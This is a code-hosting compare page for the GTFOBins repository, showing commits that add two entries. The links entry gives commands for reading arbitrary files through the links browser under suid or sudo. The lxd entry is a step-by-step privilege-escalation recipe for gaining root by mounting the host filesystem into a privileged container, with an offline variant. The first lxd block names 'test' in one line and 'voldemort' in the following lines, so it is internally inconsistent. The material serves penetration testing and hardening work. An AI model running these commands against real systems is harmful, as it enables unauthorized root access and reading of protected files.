1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-13 11:06:03 +02:00

Compare commits

...

3 Commits

Author SHA1 Message Date
h00dy 7ff2822cf3
Merge 96a6b0c709 into 97f46f1526 2024-04-24 13:27:17 +08:00
Juampa Rodríguez 97f46f1526
Create links
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2024-04-10 22:46:01 +02:00
hoodietramp 96a6b0c709 fixed issue #413 2023-11-10 02:33:20 +05:30
2 changed files with 43 additions and 0 deletions

16
_gtfobins/links.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The result is displayed in a TUI interface.
functions:
file-read:
- code: |
LFILE=file_to_read
links "$LFILE"
suid:
- code: |
LFILE=file_to_read
./links "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo links "$LFILE"
---

27
_gtfobins/lxd.md Normal file
View File

@ -0,0 +1,27 @@
---
functions:
shell:
- description: If you belong to lxd or lxc group, you can become root - Exploiting with internet
code: |
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add voldemort whatever disk source=/ path=/mnt/root recursive=true
lxc start voldemort
lxc exec voldemort bash
cd /mnt/root #Here is where the filesystem is mounted
- description: Exploiting without internet
code: |
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
- description: After building alpine image, transfer the image on the machine, import the image and follow the instructions
code: |
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
---